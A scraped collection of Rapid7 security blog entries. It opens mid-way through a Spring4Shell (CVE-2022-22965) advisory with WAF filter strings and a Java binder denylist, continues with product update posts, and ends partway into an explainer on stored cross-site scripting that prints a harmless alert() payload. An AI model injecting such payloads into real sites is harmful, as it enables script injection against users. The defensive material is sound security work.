monitor for anomalous, \u201cpost-exploitation\u201d attempts. These should be turned into alerts and acted upon immediately via incident responders and security automation. One issue with this approach is the potential for false alarms if the modeling was not comprehensive enough.\n\n## Vulnerability disambiguation\n\nThere has been significant confusion about this zero-day vulnerability because of an unrelated vulnerability in another Spring project that was published March 29, 2022. That vulnerability, [CVE-2022-22963](<https://tanzu.vmware.com/security/cve-2022-22963>), affects Spring Cloud Function, which is not in Spring Framework. Spring released version 3.1.7 & 3.2.3 to address CVE-2022-22963 on March 29.\n\nFurther, yet another vulnerability [CVE-2022-22950](<https://tanzu.vmware.com/security/cve-2022-22950>) was assigned on March 28. A fix was released on the same day. To keep things confusing, this medium severity vulnerability (which can cause a DoS condition) DOES affect Spring Framework versions 5.3.0 - 5.3.16.\n\n## Updates\n\n### March 30, 2020 - 9PM EDT\n\nThe situation continues to evolve but Spring.IO has yet to confirm the vulnerability. That said, we are actively testing exploit techniques and combinations. In the interim for organizations that have large deployments of the core Spring Framework or are in use for business critical applications we have validated the following two mitigations. Rapid7 Labs has not yet seen evidence of exploitation in the wild.\n\n#### WAF Rules\n\nReferenced previously and reported elsewhere for organizations that have WAF technology, string filters offer an effective deterrent, "class._", "Class._", "_.class._", and "_.Class._". These should be tested prior to production deployment but are effective mitigation techniques.\n\n#### Spring Framework Controller advice\n\nOur friends at [Praetorian](<https://www.praetorian.com/blog/spring-core-jdk9-rce/>) have suggested a heavy but validated mitigation strategy by using the Spring Framework to disallow certain patterns. In this case any invocation containing \u201cclass\u201d. Praetorian example is provided below. The heavy lift requires recompiling code, but for those with few options it does prevent exploitation.\n\nimport org.springframework.core.Ordered; \nimport org.springframework.core.annotation.Order; \nimport org.springframework.web.bind.WebDataBinder; \nimport org.springframework.web.bind.annotation.ControllerAdvice; \nimport org.springframework.web.bind.annotation.InitBinder;\n\n@ControllerAdvice \n@Order(10000) \npublic class BinderControllerAdvice { \n@InitBinder \npublic void setAllowedFields(WebDataBinder dataBinder) { \nString[] denylist = new String[]{"class._", "Class._", "_.class._", "_.Class._"}; \ndataBinder.setDisallowedFields(denylist); \n} \n}\n\n### March 31, 2022 - 7 AM EDT\n\nAs of March 31, 2022, Spring has [confirmed the zero-day vulnerability](<https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement>) and is working on an emergency release. The vulnerability affects SpringMVC and Spring WebFlux applications running on JDK 9+.\n\nOur next update will be at noon EDT on March 31, 2022.\n\n### March 31, 2022 - 10 AM EDT\n\nCVE-2022-22965 has been assigned to this vulnerability. As of March 31, 2022, Spring has [confirmed the zero-day vulnerability](<https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement>) and has released Spring Framework versions 5.3.18 and 5.2.20 to address it.\n\n### March 31, 2022 - 12 PM EDT\n\nWe have added a `Known Risk` section to the blog to help readers understand the conditions required for applications to be potentially or known vulnerable.\n\nOur team is testing ways of detecting the vulnerability generically and will update on VM and appsec coverage feasibility by 4 PM EDT today (March 31, 2022).\n\n### March 31, 2022 - 4 PM EDT\n\ntCell will alert customers if any [vulnerable packages](<https://docs.rapid7.com/tcell/packages-and-vulnerabilities>) (such as CVE 2022-22965) are loaded by the application. The tCell team is also working on adding a specific detection for Spring4Shell. An InsightAppSec attack module is under development and will be released to all application security customers (ETA April 1, 2022). We will publish additional guidance and detail for application security customers tomorrow, on April 1.\n\nInsightVM customers utilizing Container Security can now assess containers that have been built with a vulnerable version of Spring. At this time we are not able to identify vulnerable JAR files embedded with WAR files in all cases, which we are working on improving. Our team is continuing to test ways of detecting the vulnerability and will provide another update on the feasibility of VM coverage at 9 PM EDT.\n\n### March 31, 2022 - 9 PM EDT\n\nMultiple [reports](<https://twitter.com/bad_packets/status/1509603994166956049>) have indicated that attackers are scanning the internet for applications vulnerable to Spring4Shell. There are several reports of exploitation in the wild. SANS Internet Storm Center [confirmed exploitation in the wild](<https://isc.sans.edu/forums/diary/Spring+Vulnerability+Update+Exploitation+Attempts+CVE202222965/28504/>) earlier today.\n\nOur team is working on both authenticated and remote vulnerability checks for InsightVM and Nexpose customers. We will provide more specific ETAs in our next update at 11 AM EDT on April 1.\n\n### April 1, 2022 - 11 AM EDT\n\nOur team is continuing to test ways of detecting CVE-2022-22965 and expects to have an authenticated check for Unix-like systems available to InsightVM and Nexpose customers in today\u2019s (April 1) content release. We are also continuing to research remote check capabilities and will be working on adding InsightAgent support in the coming days. Our next update will be at 3 PM EDT on April 1, 2022.\n\nFor information and updates about Rapid7\u2019s internal response to Spring4Shell, please see our post [here](<https://www.rapid7.com/blog/post/2022/04/01/update-on-spring4shells-impact-on-rapid7-solutions-and-systems/>). At this time, we have not detected any successful exploit attempts in our systems or solutions.\n\n### April 1, 2022 - 3 PM EDT\n\nOur team intends to include an authenticated check for InsightVM and Nexpose customers in a content-only release this evening (April 1). We will update this blog at or before 10 PM EDT with the status of that release.\n\nAs of today, a new block rule is available to tCell customers (**Spring RCE block rule**) that can be enabled by navigating to Policies --> AppFw --> Blocking Rules. Check the box next to the Spring RCE block rule to enable, and click deploy.\n\n### April 1 - 7:30 PM EDT\n\nInsightVM and Nexpose customers can now scan their environments for Spring4Shell with authenticated and remote checks for CVE-2022-22965. The authenticated check (vulnerability ID `spring-cve-2022-22965`) will run on Unix-like systems and report on vulnerable versions of the Spring Framework found within WAR files. **Please note:** The `unzip` utility is required to be installed on systems being scanned. The authenticated check is available immediately for Nexpose and InsightVM Scan Engines. We are also targeting an Insight Agent release next week to add support for the authenticated Unix check.\n\nThe remote check (vulnerability ID `spring-cve-2022-22965-remote-http`) triggers against any discovered HTTP(S) services and attempts to send a payload to common Spring-based web application paths in order to trigger an HTTP 500 response, which indicates a higher probability that the system is exploitable.\n\nOur team is actively working on a Windows authenticated check as well as improvements to the authenticated Unix and remote checks. More information on how to scan for Spring4Shell with InsightVM and Nexpose is [available here](<https://docs.rapid7.com/insightvm/spring4shell/>).\n\nInsightAppSec customers can now scan for Spring4Shell with the updated Remote Code Execution (RCE) [attack module](<https://docs.rapid7.com/release-notes/insightappsec/20220401/>). A [blog is available](<https://www.rapid7.com/blog/post/2022/04/01/securing-your-applications-against-spring4shell-cve-2022-22965/>) on securing your applications against Spring4Shell.\n\n### April 4 - 2 PM EDT\n\nApplication Security customers with on-prem scan engines now have access to the updated Remote Code Execution (RCE) module which specifically tests for Spring4Shell.\n\nInsightCloudSec supports detection and remediation of Spring4Shell (CVE-2022-22965) in multiple ways. The new container vulnerability assessment capabilities in InsightCloudSec allow users to detect vulnerable versions of Spring Java libraries in containerized environments. For customers who do not have container vulnerability assessment enabled, our integration with Amazon Web Services (AWS) Inspector 2.0 allows users to detect the Spring4Shell vulnerability in their AWS environments.\n\nOur next update will be at 6 PM EDT.\n\n### April 4 - 6 PM EDT\n\nOur team is continuing to actively work on a Windows authenticated check as well as accuracy improvements to both the authenticated Unix and remote checks.\n\nOur next update will be at or before 6pm EDT tomorrow (April 5).\n\n### April 5 - 6 PM EDT\n\nA product release of InsightVM (version 6.6.135) is scheduled for tomorrow, April 6, 2022. It will include authenticated Windows fingerprinting support for Spring Framework when \u201cEnable Windows File System Search\u201d is configured in the scan template. A vulnerability check making use of this fingerprinting will be released later this week.\n\nWe have also received some reports of false positive results from the remote check for CVE-2022-22965; a fix for this is expected in tomorrow\u2019s (April 6) **content release**. This week\u2019s Insight Agent release, expected to be generally available on April 7, will also add support for the authenticated Unix check for CVE-2022-22965.\n\nThe Registry Sync App and Container Image Scanner have been updated to support assessing new container images to detect Spring4Shell in container environments. Both registry-sync-app and container-image-scanner can now assess new Spring Bean packages versions 5.0.0 and later that are embedded in WAR files.\n\n### April 6 - 6 PM EDT\n\nToday\u2019s product release of InsightVM (version 6.6.135) includes authenticated Windows fingerprinting support for Spring Framework when \u201cEnable Windows File System Search\u201d is configured in the scan template. A vulnerability check making use of this fingerprinting will be released later this week.\n\nToday\u2019s content release, available as of 6pm EDT, contains a fix for false positives some customers were experiencing with our remote (HTTP-based) check when scanning Microsoft IIS servers.\n\nThis week\u2019s Insight Agent release (version 3.1.4.48), expected to be generally available by Friday April 8, will add data collection support for the authenticated check for CVE-2022-22965 on macOS and Linux. A subsequent Insight Agent release will include support for the authenticated Windows check.\n\n### April 7 - 5:30 PM EDT\n\nToday\u2019s content release for InsightVM and Nexpose (available as of 4:30pm EDT) contains a new authenticated vulnerability check for Spring Framework on Windows systems. The April 6 product release (version 6.6.135) is required for this check. Note that this functionality requires the \u201cEnable Windows File System Search\u201d option to be set in the scan template.\n\nThis week\u2019s Insight Agent release (version 3.1.4.48), which will be generally available tomorrow (April 8), will add data collection support for the authenticated check for CVE-2022-22965 on macOS and Linux. A subsequent Insight Agent release will include support for the authenticated Windows check.\n\n### April 8 - 3 PM EDT\n\nThe Insight Agent release (version 3.1.4.48) to add data collection support for Spring4Shell on macOS and Linux is now expected to be available starting the week of April 11, 2022.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-30T22:33:54", "type": "rapid7blog", "title": "Spring4Shell: Zero-Day Vulnerability in Spring Framework (CVE-2022-22965)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0094", "CVE-2021-44228", "CVE-2022-22950", "CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-03-30T22:33:54", "id": "RAPID7BLOG:F14526C6852230A4E4CF44ADE151DF49", "href": "https://blog.rapid7.com/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-08-02T17:56:13", "description": "\n\nThe Vulnerability Management team kicked off Q2 by [remediating](<https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/>) the instances of [Spring4Shell](<https://docs.rapid7.com/insightvm/spring4shell/>) (CVE-2022-22965) and Spring Cloud (CVE-2022-22963) vulnerabilities that impacted cybersecurity teams worldwide. We also made several investments to both [InsightVM](<https://www.rapid7.com/products/insightvm/>) and [Nexpose](<https://www.rapid7.com/products/nexpose/>) throughout the second quarter that will help improve and better automate vulnerability management for your organization. Let\u2019s dive in!\n\n## [InsightVM] New dashboard cards based on CVSS v3 Severity \n\nCVSS (Common Vulnerability Scoring System) is an open standard for scoring the severity of vulnerabilities; it\u2019s a key metric that organizations use to prioritize risk in their environments. To empower organizations with tools to do this more effectively, we recently duplicated seven CVSS dashboard cards in InsightVM to include a version that sorts the vulnerabilities based on CVSS v3 scores.The v3 CVSS system made some changes to both quantitative and qualitative scores. For example, [Log4Shell](<https://www.rapid7.com/log4j-cve-2021-44228-customer-resources/>) had a score of 9.3 (high) in v2 and a 10 (critical) in v3. \n\n**Having both V2 and V3 version dashboards available allows you to prioritize and sort vulnerabilities according to your chosen methodology.** Security is not one-size-fits all, and the CVSS v2 scoring might provide more accurate vulnerability prioritization for some customers. InsightVM allows customers to choose whether v2 or v3 scoring is a better option for their organizations\u2019 unique needs. \n\nThe seven cards now available for CVSS v3 are:\n\n * Exploitable Vulnerabilities by CVSS Score\n * Exploitable Vulnerability Discovery Date by CVSS Score\n * Exploitable Vulnerability Publish Age by CVSS Score\n * Vulnerability Count By CVSS Score Over Time\n * Vulnerabilities by CVSS Score\n * Vulnerability Discovery Date by CVSS Score\n * Vulnerability Publish Age by CVSS Score\n\n\n## [InsightVM] Asset correlation for Citrix VDI instances\n\nYou asked, and we listened. By popular demand, InsightVM can now identify agent-based assets that are Citrix VDI instances and correlate them to the user, enabling more accurate asset/instance tagging.\n\nPreviously, when a user started a non-persistent VDI, it created a new AgentID, which then created a new asset in the console and consumed a user license. The InsightVM team is excited to bring this solution to our customers for this widely persistent problem. \n\nThrough the Improved Agent experience for Citrix VDI instances, when User X logs into their daily virtual desktop, it will automatically correlate to User\u2019s experience, maintain the asset history, and consume only one license. **The result is a smoother, more streamlined experience for organizations that deploy and scan Citrix VDI.**\n\n## [Nexpose and InsightVM] Scan Assistant made even easier to manage\n\nIn December 2021, we launched Scan Assistant, a lightweight service deployed on an asset that uses digital certificates for handshake instead of account-based credentials; This alleviates the credential management headaches VM teams often encounter. The Scan Assistant is also designed to drive improved vulnerability scanning performance in both InsightVM and Nexpose, with faster completion times for both vulnerability and policy scans. \n\nWe recently released Scan Assistant 1.1.0, which automates Scan Assistant software updates and digital certificate rotation for customers seeking to deploy and maintain a fleet of Scan Assistants. This new automation improves security \u2013 digital certificates are more difficult to compromise than credentials \u2013 and simplifies administration for organizations by enabling them to centrally manage features from the Security Console.\n\nCurrently, these enhancements are only available on Windows OS. To opt into automated Scan Assistant software updates and/or digital certificate rotation, please visit the Scan Assistant tab in the Scan Template.\n\n\n\n\n\n## [[Nexpose](<https://docs.rapid7.com/nexpose/recurring-vulnerability-coverage/>) and [InsightVM](<https://docs.rapid7.com/insightvm/recurring-vulnerability-coverage/>)] Recurring coverage \n\nRapid7 is committed to providing ongoing monitoring and coverage for a number of software products and services. The Vulnerability Management team continuously evaluates items to add to our recurring coverage list, basing selections on threat and security advisories, overall industry adoption, and customer requests. \n\nWe recently added several notable software products/services to our list of recurring coverage, including:\n\n * **AlmaLinux and Rocky Linux.** These free Linux operating systems have grown in popularity among Rapid7 Vulnerability Management customers seeking a replacement for CentOS. Adding recurring coverage for both AlmaLinux and Rocky Linux enables customers to more safely make the switch and maintain visibility into their vulnerability risk profile.\n * **Oracle E-Business Suite.** ERP systems contain organizations\u2019 \u201ccrown jewels\u201d \u2013 like customer data, financial information, strategic plans, and other proprietary data \u2013 so it\u2019s no surprise that attacks on these systems have [increased ](<https://www.mckinsey.com/business-functions/mckinsey-digital/our-insights/seven-steps-to-help-protect-your-erp-system-against-cyberattacks>)in recent years. Our new recurring coverage for the Oracle E-Business Suite is one of the most complex pieces of recurring coverage added to our list, providing coverage for several different components to ensure ongoing protection for Oracle E-Business Suite customers\u2019 most valuable information.\n * **VMware Horizon. **The VMware Horizon platform enables the delivery of virtual desktops and applications across a number of operating systems. VDI is a prime target for bad actors trying to access customer environments, due in part to its multiple entry points; once a hacker gains entry, it\u2019s fairly easy for them to jump into a company\u2019s servers and critical files. By providing recurring coverage for both the VMware server and client, Rapid7 gives customers broad coverage of this particular risk profile. \n\n## [InsightVM]\u200b\u200b Remediation Projects\n\nRemediation Projects help security teams collaborate and track progress of remediation work (often assigned to their IT ops counterparts). We\u2019re excited to announce a few updates to this feature:\n\n### Better way to track progress for projects\n\nThe InsightVM team has updated the metric that calculates progress for Remediation Projects. The new metric will advance for each individual asset remediated within a \u201csolution\u201d group. Yes, this means customers no longer have to wait for all the affected assets to be remediated to see progress. Security teams can thus have meaningful discussions about progress with assigned remediators or upper management. [Learn more](<https://www.rapid7.com/blog/post/2022/07/14/insightvm-release-update-lets-focus-on-remediation-for-just-a-minute/>).\n\n### Remediator Export\n\nWe added a new and much requested solution-based CSV export option to Remediation Projects. Remediator Export contains detailed information about the assets, vulnerabilities, proof data, and more for a given solution. This update makes it easy and quick for the Security teams to share relevant data with the Remediation team. It also gives remediators all of the information they need. We call this a win-win for both teams! [Learn more](<https://www.rapid7.com/blog/post/2022/07/14/insightvm-release-update-lets-focus-on-remediation-for-just-a-minute/>).\n\n### Project search bar for Projects\n\nOur team has added a search bar on the Remediation Projects page. This highly requested feature empowers customers to easily locate a project instead of having to scroll down the entire list.\n\n\n\n_**Additional reading:**_\n\n * _[InsightVM Release Update: Let\u2019s Focus on Remediation for Just a Minute](<https://www.rapid7.com/blog/post/2022/07/14/insightvm-release-update-lets-focus-on-remediation-for-just-a-minute/>)_\n * _[How to Build and Enable a Cyber Target Operating Model](<https://www.rapid7.com/blog/post/2022/07/08/how-to-build-and-enable-a-cyber-target-operating-model/>)_\n * _[The Hidden Harm of Silent Patches](<https://www.rapid7.com/blog/post/2022/06/06/the-hidden-harm-of-silent-patches/>)_\n * _[Maximize Your VM Investment: Fix Vulnerabilities Faster With Automox + Rapid7](<https://www.rapid7.com/blog/post/2022/05/16/maximize-your-vm-investment-fix-vulnerabilities-faster-with-automox-rapid7/>)_\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-07-28T14:00:00", "type": "rapid7blog", "title": "What\u2019s New in InsightVM and Nexpose: Q2 2022 in Review", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-07-28T14:00:00", "id": "RAPID7BLOG:0576BE6110654A3F9BF7B9DE1118A10A", "href": "https://blog.rapid7.com/2022/07/28/whats-new-in-insightvm-and-nexpose-q2-2022-in-review/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-07-13T16:04:09", "description": "\n\nSummer is in full swing, and that means soaring temperatures, backyard grill-outs, and the latest roundup of Q2 application security improvements from Rapid7. Yes, we know you\u2019ve been waiting for this moment with more anticipation than Season 4 of Stranger Things. So let\u2019s start running up that hill, not beat around the bush (see what we did there?), and dive right in.\n\n## OWASP Top 10 for application security\n\nWay, way back in September of 2021 (it feels like it was yesterday), the Open Web Application Security Project (OWASP) released its [top 10 list of critical web application security risks](<https://www.rapid7.com/blog/post/2021/09/30/the-2021-owasp-top-10-have-evolved-heres-what-you-should-know/>). Naturally, we were all over it, as OWASP is one of the most trusted voices in cybersecurity, and their Top 10 lists are excellent places to start understanding where and how threat actors could be coming for your applications. We released [a ton of material](<https://www.rapid7.com/blog/tag/owasp-top-10-2021/>) to help our customers better understand and implement the recommendations from OWASP.\n\nThis quarter, we were able to take those protections another big step forward by providing an [OWASP 2021 Attack Template and Report for InsightAppSec](<https://www.rapid7.com/blog/post/2022/05/18/find-fix-and-report-owasp-top-10-vulnerabilities-in-insightappsec/>). With this new feature, your security team can work closely with development teams to discover and remediate vulnerabilities in ways that jive with security best practice. It also helps to focus your AppSec program around the updated categories provided by OWASP (which we highly suggest you do).\n\nThe new attack template includes all the relevant attacks included in the updated OWASP Top 10 list which means you can focus on the most important vulnerabilities to remediate, rather than be overwhelmed by too many vulnerabilities and not focusing on the right ones. Once the vulns are discovered, [InsightAppSec](<https://www.rapid7.com/products/insightappsec/>) helps your development team to remediate the issues in several different ways, including a new OWASP Top 10 report and the ability to let developers confirm vulnerabilities and fixes with Attack Replay.\n\n## Scan engine and attack enhancements\n\nProduct support for OWASP 2021 wasn\u2019t the only improvement we made to our[ industry-leading DAST](<https://www.rapid7.com/blog/post/2022/04/21/rapid7-named-a-visionary-in-2022-magic-quadrant-for-application-security-testing-second-year-in-a-row/>) this quarter. In fact, we\u2019ve been quite busy adding additional attack coverage and making scan engine improvements to increase coverage and accuracy for our customers. Here are just a few. \n\n### Spring4Shell attacks and protections with InsightAppSec and tCell\n\nWe instituted a pair of improvements to InsightAppSec and [tCell](<https://www.rapid7.com/products/tcell/>) meant to identify and block the now-infamous [Spring4Shell](<https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/>) vulnerability. We now have included a default RCE attack module specifically to test for the Spring4Shell vulnerability with InsightAppSec. That feature is available to all InsightAppSec customers right now, and we highly recommend using it to prevent this major vulnerability from impacting your applications. \n\nAdditionally, for those customers leveraging tCell to protect their apps, we've added new detections and the ability to block Spring4Shell attacks against your web applications. In addition, we've added Spring4Shell coverage for our Runtime SCA capability. Check out [more here](<https://www.rapid7.com/blog/post/2022/04/01/securing-your-applications-against-spring4shell-cve-2022-22965/>) on both of these new enhancements. \n\n### New out-of-band attack module\n\nWe\u2019ve added a new out-of-band SQL injection module similar to Log4Shell, except it leverages the DNS protocol, which is typically less restricted and used by the adversary. It's included in the \"All Attacks\" attack template and can be added to any customer attack template.\n\n### Improved scanning for session detection\n\nWe have made improvements to our scan engine on InsightAppSec to better detect unwanted logouts. When configuring authentication, the step-by-step instructions will guide you through configuring this process for your web applications.\n\n## Making it easier for our customers\n\nThis wouldn\u2019t be a quarterly feature update if we didn\u2019t mention ways we are making InsightAppSec and tCell even easier and more efficient for our customers. In the last few months, we have moved the \"Manage Columns\" function into \"Vulnerabilities\" in InsightAppSec to make it even more customizable. You can now also hide columns, drag and drop them where you would like, and change the order in ways that meet your needs. \n\nWe\u2019ve also released an AWS AMI of the tCell nginx agent to make it easier for current customers to deploy tCell. This is perfect for those who are familiar with AWS and want to get up and running with tCell fast. Customers who also want a basic understanding of how tCell works and want to share tCell\u2019s value with their dev teams will find this new AWS AMI to provide insight fast. \n\nSummer may be a time to take it easy and enjoy the sunshine, but we\u2019re going to be just as hard at work making improvements to InsightAppSec and tCell over the next three months as we were in the last three. With a break for a hot dog and some fireworks in there somewhere. Stay tuned for more from us and have a great summer.\n\n_**Additional reading:**_\n\n * _[Application Security in 2022: Where Are We Now?](<https://www.rapid7.com/blog/post/2022/06/29/application-security-in-2022-where-are-we-now/>)_\n * _[API Security: Best Practices for a Changing Attack Surface](<https://www.rapid7.com/blog/post/2022/06/27/api-security-best-practices-for-a-changing-attack-surface/>)_\n * _[How to Secure App Development in the Cloud, With Tips From Gartner](<https://www.rapid7.com/blog/post/2022/06/22/how-to-secure-app-development-in-the-cloud-with-tips-from-gartner/>)_\n * _[Find, Fix, and Report \u200bOWASP Top 10 Vulnerabilities in InsightAppSec](<https://www.rapid7.com/blog/post/2022/05/18/find-fix-and-report-owasp-top-10-vulnerabilities-in-insightappsec/>)_\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-13T15:45:00", "type": "rapid7blog", "title": "It\u2019s the Summer of AppSec: Q2 Improvements to Our Industry-Leading DAST and WAAP", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-07-13T15:45:00", "id": "RAPID7BLOG:66B9F80A5ED88EFA9D054CBCE8AA19A5", "href": "https://blog.rapid7.com/2022/07/13/its-the-summer-of-appsec-q2-improvements-to-our-industry-leading-dast-and-waap/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-04T16:01:21", "description": "\n\nI recently wrote a blog post on [injection-type vulnerabilities](<http://rapid7.com/blog/post/2021/10/19/owasp-top-10-deep-dive-injection-and-stack-traces-from-a-hackers-perspective/>) and how they were knocked down a few spots from 1 to 3 on the new [OWASP Top 10 for 2022](<https://www.rapid7.com/blog/post/2021/09/30/the-2021-owasp-top-10-have-evolved-heres-what-you-should-know/>). The main focus of that article was to demonstrate how stack traces could be \u2014 and still are \u2014 used via injection attacks to gather information about an application to further an attacker's goal. In that post, I skimmed over one of my all time favorite types of injections: [cross-site scripting (XSS)](<https://www.rapid7.com/fundamentals/cross-site-scripting/>).\n\nIn this post, I\u2019ll cover this gem of an exploit in much more depth, highlighting how it has managed to adapt to the newer environments of today\u2019s modern web applications, specifically the API and Javascript Object Notation (JSON).\n\nI know the term API is thrown around a lot when referencing web applications these days, but for this post, I will specifically be referencing requests made from the front end of a web application to the back end via ajax (Asynchronous JavaScript and XML) or more modern approaches like the fetch method in JavaScript.\n\nBefore we begin, I'd like to give a quick recap of what XSS is and how a legacy application might handle these types of requests that could trigger XSS, then dive into how XSS still thrives today in modern web applications via the methods mentioned so far.\n\n## What is cross-site scripting?\n\nThere are many types of XSS, but for this post, I\u2019ll only be focusing on persistent XSS, which is sometimes referred to as stored XSS.\n\nXSS is a type of injection attack, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to execute malicious code \u2014 generally in the form of a browser-side script like JavaScript, for example \u2014 against an unsuspecting end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application accepts an input from a user without sanitizing, validating, escaping, or encoding it.\n\nBecause the end user\u2019s browser has no way to know not to trust the malicious script, the browser will execute the script. Because of this broken trust, attackers typically leverage these vulnerabilities to steal victims\u2019 cookies, session tokens, or other sensitive information retained by the browser. They could also redirect to other malicious sites, install keyloggers or crypto miners, or even change the content of the website.\n\nNow for the \"stored\" part. As the name implies, stored XSS generally occurs when the malicious payload has been stored on the target server, usually in a database, from input that has been submitted in a message forum, visitor log, comment field, form, or any parameter that lacks proper input sanitization.\n\nWhat makes this type of XSS so much more damaging is that, unlike reflected XSS \u2013 which only affects specific targets via cleverly crafted links \u2013 stored XSS affects any and everyone visiting the compromised site. This is because the XSS has been stored in the applications database, allowing for a much larger attack surface.\n\n## Old-school apps\n\nNow that we\u2019ve established a basic understanding of stored XSS, let's go back in time a few decades to when web apps were much simpler in their communications between the front-end and back-end counterparts.\n\nLet's say you want to change some personal information on a website, like your email address on a contacts page. When you enter in your email address and click the update button, it triggers the POST method to send the form data to the back end to update that value in a database. The database updates the value in a table, then pushes a response back to the web applications front end, or UI, for you to see. This would usually result in the entire page having to reload to display only a very minimal amount of change in content, and while it\u2019s very inefficient, nonetheless the information would be added and updated for the end user to consume.\n\nIn the example below, clicking the update button submits a POST form request to the back-end database where the application updates and stores all the values, then provides a response back to the webpage with the updated info.\n\n\n\n\n\n## Old-school XSS\n\nAs mentioned in my previous blog post on injection, I give an example where an attacker enters in a payload of <script>alert(\u201cThis is XSS\u201d)</script> instead of their email address and clicks the update button. Again, this triggers the POST method to take our payload and send it to the back-end database to update the email table, then pushes a response back to the front end, which gets rendered back to the UI in HTML. However, this time the email value being stored and displayed is my XSS payload, <script>alert(\u201cThis is XSS\u201d)</script>, not an actual email address.\n\n\n\nAs seen above, clicking the \u201cupdate\u201d button submits the POST form data to the back end where the database stores the values, then pushes back a response to update the UI as HTML.\n\n\n\nHowever, because our payload is not being sanitized properly, our malicious JavaScript gets executed by the browser, which causes our alert box to pop up as seen below.\n\n\n\nWhile the payload used in the above example is harmless, the point to drive home here is that we were able to get the web application to store and execute our JavaScript all through a simple contact form. Anyone visiting my contact page will see this alert pop up because my XSS payload has been stored in the database and gets executed every time the page loads. From this point on, the possible damage that could be done here is endless and only limited by the attacker\u2019s imagination\u2026 well, and their coding skills. \n\n## New-school apps\n\nIn the first example I gave, when you updated the email address on the contact page and the request was fulfilled by the backend, the entire page would reload in order to display the newly created or updated information. You can see how inefficient this is, especially if the only thing changing on the page is a single line or a few lines of text. Here is where ajax and/or the fetch method comes in.\n\n[Ajax, or the fetch method](<https://www.w3schools.com/whatis/whatis_ajax.asp>), can be used to get data from or post data to a remote source, then update the front-end UI of that web application without having to refresh the page. Only the content from the specific request is updated, not the entire page, and that is the key difference between our first example and this one.\n\nAnd a very popular format for said data being sent and received is JavaScript Object Notation, most commonly known as JSON. (Don't worry, I\u2019ll get back to those curly braces in just a bit.) \n\n## New-school XSS\n\n_(Well, not really, but it sounds cool.)_\n\nNow, let's pretend we\u2019ve traveled back to the future and our contact page has been rewritten to use ajax or the fetch method to send and receive data to and from the database. From the user's point of view, nothing has changed \u2014 still the same ol\u2019 form. But this time, when the email address is being updated, only the 